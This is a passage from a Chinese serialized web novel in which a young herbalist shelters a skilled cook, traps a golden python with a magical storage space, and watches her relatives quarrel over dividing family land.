到了城门口,正好赶上牛车还有两个位置,许芷给了赶车的两个铜板,上了车两人就回到了下坪村。 孟雨兰本来还以为许芷能一下拿出十两银子应该是城里的,虽然她的穿着不像,但是人不可貌相嘛。 可看着她带着自己出了城,她又以为是附近的村户。 没想到在牛车上晃荡了一个时辰才到了下坪村。 孟雨兰看着眼前不是很富裕的村子,心里更感动了。 如此远离城里,又远又穷的村子,许芷竟然一出手就是十两,就为了救自己。 甚至在她拿出了银镯子,对方都没想过这钱是需要她还的。 这份恩情在她心里更重了,比泰山还要重。 她进了村子就要往里面走,却看到许芷转了方向,往山坳去。 孟雨兰心里更加吃惊,山坳都是没人愿意住的地方,一般都是村子里穷的不能再穷的人住。 可就是这个穷的不能再穷的人愿意伸出手帮助自己,她在心里暗暗发誓,这辈子都要唯许芷马首是瞻。 下辈子,下下辈子都要! 只是当她进了山坳看到那个与村子格格不入的一进院子,暗骂自己还是以“貌”取人了。 许芷不知道她心里的弯弯绕,到了家带着她到了祖母面前。 讲了讲事情的经过,祖母一听立刻开口让她放心住下。 孟雨兰感动的看着祖母,嘴很甜。 “奶奶,您跟小妹都是大好人啊,我简直不敢相信,我还能柳暗花明遇到小妹,从此以后,家里的洗衣做饭我全包了,奶奶你就歇着都让我来!” 邓老太摆摆手,笑道:“你这孩子客气什么,多一张嘴的事儿,你能吃多少啊。” 闻言,孟雨兰尴尬的笑了笑,小声道:“奶奶我食量有点大。” “那怕啥,一个小姑娘,还能大到哪去?” 邓老太此时说的轻巧,等晚上看到孟雨兰吃了邓耧子两倍的量的时候,瞠目结舌。 这还是孟雨兰收着吃了,怕吓到她们。 邓老太虽然惊讶,但还是笑着把剩下的两个包子往她那推了推:“吃饱哈,要吃饱。” 孟雨兰笑着接住了,吃完后她抢着把碗都刷了。 出过饭要给孟雨兰安排住处,上房东西两间房祖母和许芷住着。 好歹当时西屋厨房下面那间没放什么杂物,还摆了张小床,就让孟雨兰暂时住在那间。 祖母拿出来一套被褥,把那间屋子简单的收拾了一下,就让孟雨兰住了进去。 用的物品先跟许芷趁着,等到卖货郎什么时候来了,许芷再单独给她购置。 其实也就一个盆,其他的没什么。 晚上孟雨兰躺下看着这一小方天地,心里别提多高兴。 可高兴之余,想到了爹娘和弟弟妹妹,心里又委屈的不行。 一家五口,只剩她一个。 她害怕被许芷她们听到,小声的啜泣,带着哭腔道:“爹、娘,小严小花,小兰我遇到了顶好的善人,我会过得很好的。 我要留在这家里,报答善人祖孙俩,就是要我的命......反正除了要我的命,别的啥都行,我给她们当牛做马,洗衣做饭,都行!” 说着说着,她的眼皮沉了许多,便睡了过去。 第二日,许芷醒的时候,孟雨兰和祖母都已经起床了。 她看着在连廊里浇花的祖母,问道:“祖母怎么今日想起浇花了?” 平日里这个时候,祖母都是在做饭的。 邓老太指了指厨房,悄声说道:“小孟在做饭呢,我说我做,她不肯把我轰了出来,我没事干只好来浇花。” 许芷了然,掀开厨房的帘子,看到孟雨兰忙碌的身影。 将心比心,若是她被人救了,陌生的环境里肯定也会惶恐想做些什么,要不然住的不踏实。 故而没说什么,想做饭就让她做吧,正好换换口味。 粥做了红枣小米粥,包子是小巧皮薄的灌汤包,炒了个鸡蛋,凉调了皮冻,家里还有腌的咸菜。 邓老太看着那灌汤包和皮冻,有些惊讶,这都是费时的东西。 灌汤包里的汤,是猪皮熬出来的,光熬都要一两个时辰,还不说要冷却冻住,还要好几个时辰。 凉调的应该是没包完的皮冻做的。 这些家里可没有,也就是说这都是现做出来的。 还有这现剁的肉馅,她现在包包子都是前一天下午多做一些,晚上吃不完,第二天早上热了吃,都不早上起来现弄。 故而她不解的问孟雨兰:“你这丫头几时起的啊?” 孟雨兰很是开朗,“没比你们早起多少,你们快尝尝我包的包子好吃不?” 祖孙俩闻言,夹起一个灌汤包,先咬开皮把汤汁喝进去。 喝进去的瞬间,祖孙俩对视一眼。 好喝! 汤汁鲜甜,肉香十足又不腻。 接着吃包子,皮薄但有一点韧劲儿,带着馅儿吃进去,唇齿留香。 “好吃好吃,你这丫头,还真会做。” 邓老太笑眯眯的说道。 孟雨兰得了夸赞笑嘻嘻的,又看向许芷。 许芷顶着她的目光,嗯了一声,虽然语言简单,但是看她一连吃了四个,也能看出好吃。 三人正吃着,邓耧子过来了。 昨晚他又去张家兄弟家吃的酒,所以没见到孟雨兰。 此刻看到多了个人,他疑惑的问道:“这是?” 许芷又简单的把昨天的事情说了说,邓耧子点头坐下就开始吃饭。 昨晚他喝的多了些,这会儿起来觉得肚子里空的难受。 吃了包子,长嗯一声,眼睛发亮的问道:“娘,你今儿做的包子怎么这么好吃啊。” 邓老太嗔他一眼,笑着看向孟雨兰说道:“这是小孟做的饭,你夸错人了。” 邓耧子看向孟雨兰,因为嘴里一口气塞了三个包子,只能伸出双手给两个大拇指表示有多好吃。 孟雨兰看到害羞一笑,继续闷头吃自己的。 因为有孟雨兰和邓耧子这大食量的,今早的饭一点没剩下。 吃过饭许芷去了山上,打算看看山上的野生药草长势怎么样。 上了山她直接去了之前都采到过草药的地方,除了金簪草漫山遍野都是,其他的草药也都破了土,差不多还是去年那个时间来采摘就行。 她特意去看了看金银花,也都发了新芽。 照这个态势,春天里再下几场雨,长势喜人。 上半年她还能靠着这些山上的草药过活。 到了下半年,那些一年生的草药就长成了,更不用说了。 马上就能下一步计划了。 第95章 金色巨蚺 正看着,许芷听到周边有“簌簌”的声音。 像是一些润滑的躯体滑过草丛特有的声音,许芷心下一窒。 接着听到的“嘶嘶”声,让她更加肯定了心中的猜想。 她悄声的抽出短刀,虽然活蛇价格高,但是万一是那种不利的情况,手里拿着刀也好反抗。 许芷屏气凝神,听着“簌簌”、“嘶嘶”的声音来判断方位。 这条蛇应当在自己的西南方向的树后面,听声音应该是要往自己这边来。 她耐心地等着,等着那条蛇出现。 不过没让她等太久,很快一个扁小的蛇头出现了。 许芷看到的瞬间,心中喜忧参半。 喜的是,这蛇皮乃金色,属上乘。 忧的是,此乃蚺,体型庞大,一不留神自己就会成了它的盘中餐。 她缓慢地蜷起身子,让自己藏在草丛中。 等到那蛇走过身边的时候,许芷悄默声的,从自己的乾坤屋里拿出了一个竹篮筐,放在了蛇的正前方。 因为竹篮筐是突然出现的,那蛇没有预兆一头栽了进去。 瞬间那蛇变得狂躁不堪,身体狂放的抽着周围的一切。 许芷连忙躲在树后面才免遭于难。 她看着蛇要出来了,赶忙躲着跑上前去,将竹筐使劲立起来,把蛇头按进去。 接着连筐带蛇丢进了乾坤屋里。 那蛇进了乾坤屋里更是狂躁,蛇尾把屋子里破坏的一片狼藉。 许芷感受着屋子里的狂风骤雨,面不改色的去了河边,抓了几只蛤蟆丢了进去。 有了吃的,那蛇安生多了。 这几天她打算养着这蛇,等到集的前一天,她再上山假装是才抓到的,第二天好去城里卖了。 有了这条蛇的收获,许芷也无心找其他的东西,早早的就下了山。 到家的时候,看到祖母和孟雨兰在菜地旁边又开了一小块地。 见她回来,孟雨兰很是热情的招呼她。 “小妹,你回来啦。” 许芷嗯了声,问道:“你跟祖母这是干啥呢?” “奶奶说要开块地,把绣球花都种出来,要不然那窑洞和连廊一直都占着。” 许芷闻言点了点头,天气也慢慢热了,还是让花见天日长得更好些。 而且也需要给孟雨兰腾出来一间正儿八经的卧房,窑洞要比西厢房的下间好得多,起码安静地方大。 坐在柿子树下休息过后,许芷给她们三人都冲了茶水。 “祖母,兰姐,上来喝点水吧。” 这会儿已经过了午时,虽说是刚开了春,但是很明显的感觉到热。 两人放下了锄头,上来喝水。 邓老太猛灌了口水,随意的抬头看了眼天,顺嘴嘟囔道:“真是怪,刚开了春都这么热。” 喝过水,许芷让祖母歇着,她跟孟雨兰两个人开了这块地。 太阳下山前,地收拾的差不多,明天就能把花都移栽进去。 晚上还是孟雨兰做的饭,邓老太没抢过她。 孟雨兰会说话,又力气大,谁来都不好使。 最后还是许芷给了祖母个眼神,这样她在这生活的舒服些,就随她去吧。 孟雨兰在吃上是很会下功夫的,她拿出了家里一块五花三层的带皮肉。 放在烧热了的锅底炕了炕猪皮,接着又拿了出来。 把肉丢进冷水里,用刀把肉皮炕的黢黑的部分刮干净。 接着又丢进了添了水的锅里,放了葱花、姜和酒,煮开之后捞出,清水洗后开始切。 祖孙俩都以为她拿五花肉要做红烧肉,虽然跟她们做的步骤不一样,可是明显人家的更精细更有章程。 有了早上那顿薄皮灌汤小笼包,两人对这顿饭也抱有很高的期待。 可看着她把肉切成了一乍长的厚片,两个人倒是不明白这是要做什么。 邓老太开口问道:“雨兰呐,你这是做啥?” “把子肉。” 孟雨兰说的中气十足。 祖孙俩对视了一眼,不知道这把子肉是啥吃法,两人紧盯着看她是咋做的。 见她还弄了点草绑在了肉片上。 邓老太没忍住又问:“这是为啥呀?我头一次见肉上绑草的。” 孟雨兰回答道:“奶奶,这是为了一会儿炖肉的时候,不让肉煮化了煮散了。” 起锅烧油,将肉片先放在油锅里炸了炸,捞出控油,放一边。 刚刚随着煮肉的时候,孟雨兰还放进去了几个洗好的鸡蛋。 肉好了,鸡蛋也好了,把鸡蛋捞出放在凉水中先不管。 这会儿炸过肉,在炒锅里放了油,先把鸡蛋剥了丢进去微微煎制捞出又放进了凉水里。 这一步步的看的祖孙俩眼花缭乱。 这边煎制过鸡蛋的油,她放了糖进去,炒到冒泡,下了肉片,翻炒均匀上了糖色,开始调味。 盐、酱油都是基础。 又放了葱段、姜片、花椒、干辣椒、桂皮、八角和小茴香。 邓老太做了这么多年饭,头一次见放了这么多大料的。 也亏得过这个年家里大料都齐全,能配的上。 接着就是添水炖煮了。 煮了大概半个时辰,她又将刚刚那些煎制过的鸡蛋丢了进去一起煮着。 趁着刚刚那半个时辰,她活了面准备蒸馒头。 锅里放了大米和红薯块,上面放上篦子,等到粥好了馍也好了。 这一套下来,这整个院子里飘香。 邓耧子回来的时候,闻到这陌生的香味,一猜就是孟雨兰做的饭。 除了把子肉,孟雨兰还炒了个鸡蛋。 但这鸡蛋的做饭也是三个人从来没见过的,鸡蛋的蛋清和蛋黄分开来。 先用锅炒了蛋清,炒出之后放在一边。 姜末、盐、白酒、白醋和糖混合成料汁,炒蛋黄的时候加进去,炒的差不多起锅浇在刚刚炒好的蛋白上。 “这又是啥菜啊?” 邓老太看着这盘黄白分明的鸡蛋问道。 “这呀,叫赛螃蟹,要不是没鱼,我能做的更好吃。” 孟雨兰毫不谦虚的说着。 但许芷三人并不觉得她是在说大话。 上午两人还没去开地的时候,孟雨兰在河边转悠了转悠。 她正好看到了一些小虾米,这会儿也派上了用场。 当时她捞小虾米的时候,邓老太还笑她这么小的虾还不够塞牙缝,都捞着吃了。 只见她锅底热油,虾米放进去煸炒一下,瞬间出了专属河鲜的香味。 接着她放了水进去,加料放进去切好的豆腐块,炖煮一刻钟左右,便盛出了。 这次邓老太不问了,换邓耧子指着这豆腐问:“这是个啥菜啊,豆腐还能跟这小虾米煮一起呢?” 第96章 海米豆腐 “这个呀叫海米豆腐,本应该用的是海里的小虾米,不过咱们这哪有海啊,就用这河里的虾米替代了。” 孟雨兰热切的介绍。 邓耧子听到这话惊讶不已,“你见过海啊?” 孟雨兰讪笑一声,说道:“我没有,我爹见过。 他是走遍四方学菜的大厨,这些菜都是他教我的,是鲁地的菜系,你们快尝尝。” 闻言许芷微微点了点头,她就记得孟雨兰明明说自己是个绣娘,怎么厨艺这么了得,原来有个当大厨的爹。 三人一听赶紧动了筷。 邓耧子和邓老太没吃过螃蟹,但是许芷原先家里可是常吃,这赛螃蟹,虽然没螃蟹,可确实吃出了螃蟹的香味,让她很是怀念。 一下吃了好几口,几乎多半盘都进了她的肚子。 把子肉软烂入味,夹进热腾腾的软蒸馍里,吃进嘴里那叫一个过瘾。 邓耧子因为这一口气吃了五个馒头。 除了肉,还有那一起煮进去的鸡蛋,咸香入味,夹到馍里也好吃的不行。 邓老太年龄大了,也没忍住吃了三块肉。 给自己吃腻住,才停下来。 腻了也没事,荫井里还有几个剩的白萝卜,她腌了个酸甜萝卜条,吃起来解腻又清口。 海米豆腐吃起来是鲜香入味、咸香可口,嫩滑的豆腐让人忍不住多吃两块。 这顿饭吃的四人是急头白脸,就连一向淡定的许芷都有些破了吃相。 看着他们吃的那么香,孟雨兰高兴的多吃了几个馒头。 吃过饭,孟雨兰手脚利索的将厨房收拾的干干净净,仿佛没有做过饭一样。 邓老太看到这么勤快又会做饭的孟雨兰,眼底是止不住的喜欢。 心想这要是自己儿媳妇儿多好。 一想小儿子还没娶媳妇儿,瞬间觉得这事儿能成。 睡觉都笑的合不拢嘴。 饭桌上,邓耧子说了今天他回家二嫂宋莺莺让他明天回来,一起跟老大家要地。 既然两口子都不是邓家人,哪能占着邓家的房子和地。 本来是不想闹开了说,这两口子要是还要点脸,就该自觉地把这些东西吐出来。 可是明显这两口子就是没脸皮的东西,没办法只好说到明面上。 宋莺莺还特地去请了里正当见证,邓耧子倒是无所谓,但是他想让娘一起去。 毕竟去年娘跟他们分开也是因为大嫂和大哥闹的厉害,既然他们现在都不是邓家的一份子。 娘就该回来,就算不回家住,地和房子也得要。 第二日,许芷和祖母让孟雨兰在家里等着,她们两个人去了邓家。 祖孙俩到的时候,王素娟和宋莺莺正吵的上头。 “好啊你,死臭鸟,取个名字叫莺莺还真把自己当成飞上枝头的凤凰了,敢来老娘手里抢东西,看我不把你的毛薅秃!” “嗐呦,王素娟你都不是我们邓家的媳妇儿了,你跟我厉害什么?你牛气什么?带着半截身子埋进土里还改了姓的大哥赶紧回你的王家去,别在我邓家叫嚣。” 许芷倒是头一回见她这个凡事缩着脖子躲在后面的二舅母如此气势的样子。 两人说的话都极其不客气,所以她们进屋的时候,两个人已经薅着头发打起来了。 而邓栓子和邓耙子两兄弟就站在一边看着,也不上去拉开也不去帮忙。 任由两个女子撕破脸皮,去争取东西。 看到邓老太来,里正跟看到了救星一样。 “嗨呀,老大姐啊,你可来了,快来劝劝吧,我是没办法了。” 邓老太也不想管,这说谁都不对啊,但是看着里正为难的样子,她委婉说道。 “这我咋管,我这一把老骨头的人,我能拉住她俩谁啊?” 此话一出,里正恍然大悟,赶紧气冲冲的跟邓栓子和邓耙子说:“你俩还在那站着看,不赶紧把自己的老娘们拉开!” 兄弟俩本来就不想吵,只想等着自己的媳妇儿争取到手了,他们再跳出来象征性的说两句就算了。 可是里正开口了,他们也不能不听,只能各自走到媳妇儿面前将两人拉开。 看到拉开了,里正才往前凑着说:“你看看你们这像什么话?!在一个院子生活了这么多年的妯娌俩,吵成这个样子,这不是让人看笑话。” 王素娟:“看笑话我也认了,这死鸟要把我的地抢走,我不跟她吵跟谁吵?” 宋莺莺:“你个没读过书的敢叫我死鸟!你都不是下坪村的媳妇儿了,捏着我们邓家的地干啥,那就不是你的。” 眼见两人又要打架,里正赶紧站在中间,不让这俩人碰上。 “行了行了,别吵了,那邓老二媳妇儿说的没错,你们夫妻俩现在户头都不在下坪村,那地自然不能给你俩,你俩要种也得是商量好了,租给你俩,或者你种了给他们粮食才行。” 这王素娟怎么会愿意呢,为了让他们俩的户头迁到娘家,他们俩咬着牙拿出了二十两银子给那边。 因为迁过去多了人头税,她还答应把这边一半的粮食都给了娘家。 好在是这边没了税,就是给了一半他们也能活。 大不了去娘家蹭饭也是过。 可是这要是把地给收走了,她拿啥给娘家。 还不让娘家的嫂子们给她吃了。 故而她胡搅蛮缠道:“我们怎么就不是下坪村的人,我们家栓子从小在这长大的,我来这村里也十几年了,凭什么赶我们出去。” “这话说的可真没道理,谁也没赶你们两口子出去,自己叭叭的把户头迁走了,还怪在别人头上,你要是不玩脏心眼子,借那钱犯得着这样吗?” 宋莺莺毫不客气的回怼着。 “宋莺莺!” 王素娟生气的大叫。 宋莺莺也毫不示弱:“王素娟!比谁声音大是吗?那我也行。” 看着两人针锋相对又要伸手抓头发打架,里正头疼的吼道:“行了!我说话都不听了是吗?” 王素娟不服气的说道:“听什么呀,你都不认我跟栓子是这个村的人,我凭什么听你的。” 一听这话,里正也来了脾气。 “是,你们两口子都不是下坪村的,我说话自然不用听得。 可我是下坪村的里正,这房子这地都归我管,你俩既然听不得,这房子这地我就做了主,老二、老三和亲娘分,跟你俩毛关系都没有。” 第97章 王家赘婿 闻言最高兴的莫过于老二家两口子,宋莺莺笑的趾高气扬,挑衅的看着王素娟。 而邓耙子装好人一样的走到亲哥面前,直摇头看似无奈,实则炫耀。 “哥,这可不是我不给啊,实在是......” 说话的时候,嘴角都快压不住了,还故作体贴的拍了怕邓栓子的肩膀。 “没事哥,以后有啥事儿就跟弟弟说,能帮我就帮。” 听到这话气急败坏的邓栓子一脚踹在了王素娟的腰上。 “他妈的,你个死娘们,怎么跟里正说话呢?” 王素娟也觉得委屈的不行,后悔自己逞那一时嘴快。 搁平时邓栓子这一脚,俩人早打起来了,今天她只是擦着眼泪,呜呜的哭着。 邓栓子赔着笑脸跟里正道歉,把错都推到了媳妇儿王素娟身上。 “里正,都是我这媳妇儿不懂事儿,老娘们家家的没脑子,家里的事儿还得咱们老爷们做主是不?” 里正睨他一眼,轻嗤一声不搭理他,反而转身走到了邓老太身边,道: “老大姐,你是这家唯一的长辈,有什么事儿当然应该你来说,我这个里正就判一判公正就行。” 邓栓子和王素娟一看把话语权又给到了邓老太,厚脸皮的两人呲着笑脸就凑上来。 “娘,我可是你儿子,不管发生啥事,关起门来那还是一家人啊。” “是啊婆母,栓子说的对,等以后我们一定好好孝敬您。” 对两人的讨好言语,邓老太左耳朵进右耳朵出。 她对里正客气的说道:“那就辛苦里正老弟了,我觉得你说的不错,既然都不是下坪村的人,那属于下坪村人的地和房当然不该让外人捏着。” 一听这话,邓栓子急了。 许芷看着他要冲上来对祖母出言不逊,她立刻将祖母挡至身后。 “舅舅我奉劝你一句,来邓家胡闹不如去王家好好争取,毕竟那些才是你应得的,这边的就是说破了天都不该是你的。” “你个死丫头胡说八道什么,一个外姓人,还是个不值钱的丫头,敢来邓家门里张嘴,轮得到你吗?!” 邓栓子说话的吐沫星子满天飞。 许芷默默地往后退了退,轻掩口鼻,微微蹙眉很是嫌弃。 等到对方的粗暴言语发泄完了,才淡淡开口道:“舅舅现在好像也不姓邓,姓了王,也是外姓人。” 一句话说的邓栓子更加恼火,他就说这户头不能迁不能迁,一旦入了赘这全是话柄。 早知道当初就是东躲西藏成了老鼠,也不该听着王素娟的入了赘,啥都没捞着不说,自己的房子和地还要拿出去。 “反正不给,这地的庄稼都种上了,过了春儿就能收了,这会儿给了你们,凭什么?!” 邓老太一听立刻说:“那这样好了,你们种的粮我们也不要,等到丰收了,到时候你们拿走,地交出来就是了。” “娘,我还是不是你儿啊!” 邓栓子听到老娘丝毫不退让的话,气的半死。 “你是我儿不差,可公理不能坏,该是啥是啥。” 邓老太不偏不倚的说着。 邓栓子和王素娟不服气还想闹一场,突然声音出现,场面更加热闹起来。 “呦?这么热闹呢?” 看到放印子钱的出现,邓栓子夫妇两个下意识的颤抖,可想到户头改了,钱算不到他们头上,两个人又撑了起来。 强子走到他俩面前问道:“你们公母准备好钱了吗?” 王素娟闻言语气虽然颤抖,但声音很大,听起来底气很足的说道:“我们不用还你的钱。” “呵呦?谁说的?上次给你俩的教训还不够是吗?” 强子好像听到了什么大笑话。 王素娟气势的说道:“我们俩的户头都不在邓家,你那靠户头写的借条可没用了。” 闻言,强子跟他的小弟笑的都直不起来腰。 好半晌,他才直起身子来问道:“那你叫不叫王素娟?他叫不叫邓栓子?” 王素娟:“他不叫,已经改名了,叫王栓子。” 强子皱眉看她一眼,继续问:“那你呢?” 王素娟:“我当然还叫王素娟。” “叫这个名儿就对了,户头只是个借款凭证,只要欠条上是你的名字,你就得给我还钱,他不叫邓栓子,那他那张欠条不算,你这张还得算呢。” 听到强子的话,夫妻两个脸色难看至极。 没想到俩人忙活了一通,竟然还要还钱。 邓栓子第一反应是休妻,反正他的债没了,只要休了妻,这王素娟的债跟他就没关系。 这般想着他话顺着就说了出口,王素娟不可置信的看向他,下一刻却讽刺出口。 “你如今是我王家的赘婿,谁休谁啊?” 邓栓子闻言气的头晕目眩,不入赘自己就要还债,入了赘自己不能休妻,怎么着都得还! 没办法,看着面前凶神恶煞、人高马大的几人,他有了逃的念头,不管逃到哪,只要不被找到,就没人能让他俩还钱。 留在这,有债没地还没房,他还能真去丈母娘家住着? 那他可就成了全村的笑话。 故而他舍下脸,跟强子说自己过两天一定会还,好言哄着,终于让其松了口,说是三天后再来。 等到把这群人送走,邓耧子立马变了脸,愤恨的看着自己的亲娘和两个弟弟。 “行,你们都行,见死不救还落井下石,等我回来看我不弄死你们。” 闻言邓老太蹙眉问道: “老大,你这是要去哪?” “用得着你管吗?” 邓栓子不客气的回呛。 说完他拽着媳妇儿王素娟去屋里收拾为数不多的东西,要跑路。 王素娟不想走,她畏畏缩缩的说道:“我这最远就去过城里,要是出去能有命活吗?” 邓栓子不耐的说道:“你留在这就有命活?何况如今这太平盛世。那些钱你留下还吧,反正我要出去。” 一听这话王素娟噤了声,老老实实的收拾了东西,两人带着孩子一刻不敢耽误的跑了。 跑之前,邓栓子还对着他们放狠话。 “我邓栓子要是在外面混出个名堂了,到时候就是你们的死期!” 第98章 分家落幕 邓耙子夫妇闻言脸上笑容里的嘲讽意味更足。 而邓老太说到底还是当娘的,一听儿子要跑,嘴上忍不住说道:“出去了小心着点,多留个心眼,别被人骗。” 她心想跑也确实是个办法,要不然留在这还不上的话,还要来嚯嚯她外孙女许芷。 听到母亲的叮嘱,邓栓子眼神里只有讽刺,嘁的一声,走的决绝。 谁也没想到这场分地大戏,最后是这样结束的。 里正都觉得还得会儿吵呢,结果这俩最能闹腾的跑了。 那接下来不就简单多了。 他看向邓老太,问道:“那这房和地咋分呢?” 闻言,邓老太敛了忧思,对里正说道:“老大家一共七亩地,其中良田三亩,老二本就有一亩,就再分一亩,老三两亩。老二家地本来就多,剩下的四亩地都分给老三,这样两家都是八亩地。” 宋莺莺一听当然没意见,虽然是两家都是八亩地,但是邓耧子的地有两亩是山坳的次等地,说下来,他们家的好地最多。 “都听娘的。” 她笑的乖巧说道。 说完了地,邓老太就要说房子。 “房子也简单,老大既然走了,上房三间就给老二一家,东西厢房给了老三,他不做饭,厨房就还给老二家。” 这样分老二家很是占便宜,所以宋莺莺一点异议没有。 邓耧子一听还是下意识的问:“娘,你的东西呢? 地和房子都给我二哥和我,你啥也没落着啊。” 一听这个宋莹莹脸色立刻变了,当初那字据可是写的清清楚楚,老太太没有资格再要。 老三这么一问,她好不容易分到手的还得让出去,凭什么? 只是她还没表达不满,就听到婆婆缓缓开口道:“傻儿子,去年咱都立了字据,娘哪能分啊。” “可——” 邓耧子还想再说。 邓老太摆摆手不让他说,“就这样吧,没事我跟小芷要回去了。” 宋莺莺赶紧接过来说道:“是啊小叔,娘都在这累一上午了,赶紧让娘回去休息休息吧。” 心里催促着赶紧走吧,别再有什么变数了。 邓老太说完,许芷就扶着祖母转身回去。 邓耧子无奈只能跑出去跟上。 看着人都走了,宋莺莺高兴坏了。 老三邓耧子还没成亲,就晚上回来睡个觉,甚至有时候住山坳,这院子不就是她一家的了。 想到这她喜洋洋的赶紧去收拾东西搬屋子。 这边邓耧子追上邓老太之后不解的说:“娘,去年那都是大哥大嫂闹的,他俩都走了,你还不要你该要的。” 邓老太闻言只是笑笑不说话。 许芷看着舅舅不依不饶的样子,忍不住开口道:“舅舅,我那院子那么大,还不够祖母住的呀? 祖母年纪大了,需要歇一歇,真给了地,祖母种不了荒在那不是可惜?” 邓耧子一听着急的说道:“咋种不了,都给你去种那药材去。” 既然这么说了,许芷就开口了。 “舅舅,其实我也想跟你商量下这件事。” 邓耧子:“你直说就是,咱们舅甥俩还这么客气干啥?” 许芷:“我一个人这么多地我也忙活不过来,我想让舅舅帮帮我,当然不是白帮的,租地的钱和工钱我一样不少。” “你这孩子说了不让你客气,放心吧小芷,只要我不上工,地里我都包了。” 邓耧子豪气的说。 邓老太看不下去,说道:“小指儿的意思是,让你把外面的工辞了,专职来做地里的活。” 闻言,邓耧子看向许芷,她连忙点了点头。 害怕舅舅多想,赶紧解释说:“舅舅,这药田可不是只做今年这一次,往后年年都要去买药苗,种草药,说不准我还要往城里开铺子。 真要是这样,我可没时间和能力继续盯着村里的药田,这些事儿我肯定要找个靠谱的,我觉得舅舅您就行。” “啊?这药材我一点不懂啊。” 邓耧子面露难色,他从小笨得很,大哥和二哥学啥都快,就他一身蛮力气。 还是现在的工头看他一身力气不错,才招了他做工。 反正让他出力气那是一百个可以,可要是学东西,他就不敢保证了。 许芷温声道:“不急,舅舅,这学药材不是一天两天的事情,而且咱们种的药材种类不算多,记起来没那么麻烦。” 见舅舅还想拒绝,许芷又道:“舅舅,这次种的药材还没成呢,有的是时间,你可别小看了自己。” “是啊,小指儿说的对,你就听她的吧。” 说话间,三人到了山坳。 看到孟雨兰已经搬出来了一部分绣球花,正在往地里移栽。 见到他们回来,孟雨兰停下手中的活,高兴地问道:“奶奶,小妹你们回来啦?” 邓老太笑呵呵的嗳了声,看到许芷挽起袖子就要下去帮忙,拦住她说道:“你哪有力气做这个,让你舅舅来。” 说着,把许芷拉了回来,把儿子推了出去。 邓耧子一听也不做他想,拿起锄头就开始干活。 跟孟雨兰俩人搭配着,邓老太怎么看怎么满意。 许芷想着多个人快一点,还要去地里,被邓老太拉回来瞪了一眼。 “你今儿这么勤快干啥?” 说着,硬把许芷拉回了家。 许芷纳闷极了,往日做什么,祖母都是想着一起弄快些,怎么今日不这么想。 直到晚上许芷才有了答案。 四人正吃着饭,邓老太冷不定来了句:“雨兰呐,你看我这儿子干活还行哈。” 许芷一下就懂了,祖母这是看上孟雨兰,想让她当儿媳妇。 她悄悄用脚碰了碰祖母的脚,看到祖母看自己,微微摇了摇头,让祖母别问了。 “行啊,耧子哥干活真快。” 孟雨兰没觉察的夸道。 而另一位也一点没觉出不对,听到这话,拍了拍自己的肩膀。 颇为傲气的说道:“我这一身膘可不是白吃的,地里的活都是小意思。” 许芷闷闷的笑了声,这俩人没听懂那就好。 而邓老太闻言笑容尬在脸上,听不懂算了,算了。 晚上睡前,许芷特意去了祖母屋里。 邓老太一见她就直到外孙女要说啥。 “我这不是看雨兰这丫头好,所以才有了这想法。” 第99章 蛇羹好吃 许芷坐在祖母的床边,叹了口气道:“祖母我知道你忧心舅舅的婚事。 可我刚把雨兰姐带回来两日你就如此说,好似我带她回来就是为了给舅舅找个媳妇儿一样。” “哎?咱可没这个意思,你带她回来是你心善。” 邓老太慌忙解释道。 “我知道祖母。”许芷拍着祖母的手背安抚,继续说道:“若是今日是雨兰姐和舅舅自己相处久了有了那个意思,我保证什么都不说,可是人家刚失了家人,好不容易来了个落脚地......” 许芷话说到这,邓老太已经明了,她面露悔色,“这是我考虑不周了,我再也不说就是。” 邓老天的悔意一直延续到第二日,吃饭的时候筷子不停的给孟雨兰夹肉夹菜。 弄得孟雨兰还以为这是不想让她在这了,所以才撑着她吃。 吃着吃着竟哭了出来,吓坏了许芷和邓老太。 “这怎么了?”邓老太问道。 “雨兰姐,你哭啥啊?” 许芷也问道,看着满脸泪水的孟雨兰,她心想可别是现在琢磨过劲儿,弄明白昨晚祖母的意思了。 正准备开解,就听孟雨兰哇哇哭诉:“小妹,奶奶以后我少吃点,你们别赶我走。” “这是哪一出啊?我们啥时候说让你走了。” 邓老太又着急又疑惑,也想到了昨晚自己说的话。 该不会这孩子觉得不嫁给自己儿子,就不能在这住着吧? 想到这,邓老太赶紧说道:“雨兰呐,你别多心,该吃吃该喝喝安心在这住下,奶奶年纪大了,有时候说话办事没章程,你可别多想了去。” 孟雨兰擦了眼泪,看向邓老太,哽咽的问道:“真的不赶我走?” “当然了。” 邓老太和许芷齐声笃定的说道。 听到这回答,孟雨兰才跟吃了定心丸一样,破涕为笑。 “嗯!那就好。” 两人还担心着,可看孟雨兰又吃的兴起,就知道这事儿是过去了。 许芷和祖母都松了口气。 吃过饭,许芷跟王茹娇一起去了药田。 到了药田,许芷看到地里已经有杂草长出来,蹲下看到草药的叶子还有些蔫儿。 她摸着草药的叶片,微微叹了口气呢喃道:“什么时候下场雨就好了。” 王茹娇也微微叹了口气说道:“可不是嘛,就缺这一场雨,往年这时候怕倒春寒还穿袄子呢,今年热的早早就脱了。” 闻言,许芷抬头看着天空中刺眼的日头,皱眉说道:“先把冬天做的防寒的篱笆给拆了,拆完再锄草浇水吧。” “行。” 王茹娇应下,去村里叫王三婶两口子和张家兄弟俩。 没一会儿五个人就过来了。 几人还带了三把砍刀过来,当初为了御寒效果好些,枯树枝和干草之间捆绑的严实。 拆着比建着要快,一天下来就干的差不多了,剩下一点要不是天要黑了,就抢着也给干完了。 地头堆得都是干草和枯树枝。 许芷:“大家辛苦了,这树枝和干草大家带回去当柴烧。” 刚刚王三婶就想问这枯树枝能不能带回家当柴火,一听许芷这么说她高兴的应下了。 几人走之前,许芷交代了从明天开始来地里锄草。 谁闲着谁来,早点锄完早踏实。 毕竟大家也不止这药田要忙,王三婶家里还有好几亩地种着粮食呢,张立柱兄弟俩也得去做工。 所以谁有空谁来,不强求。 现在药田还没到忙不过来的时候,主要是种的时候和收的时候,平时大家少照顾一点没啥。 第二日,许芷和王茹娇扛着锄头来地里的时候,王三婶夫妇俩已经在地里了。 张立柱兄弟俩没来,这个许芷是知道的,舅舅也出去做工了。 四个人锄草,一人分一块地也快,现在的草都刚长出来,没那么难弄。 两天多一下午就都锄完了。 锄草只是日常维护,春日里药苗防护的重点还是杀虫。 若是这一步没做好,这一地的药苗都白种,这些心血就白付出了。 许芷打算卖了蛇,拿着钱去买生石灰,跟去年一样的步骤进行杀虫。 想到这个许芷突然问王茹娇:“娇娇,是不是马上要集了?” 这两天她忙的都忘了。 王茹娇嗯了声,“明天就是集。” 许芷一听看着快要擦黑的天色,赶紧往山坳去。 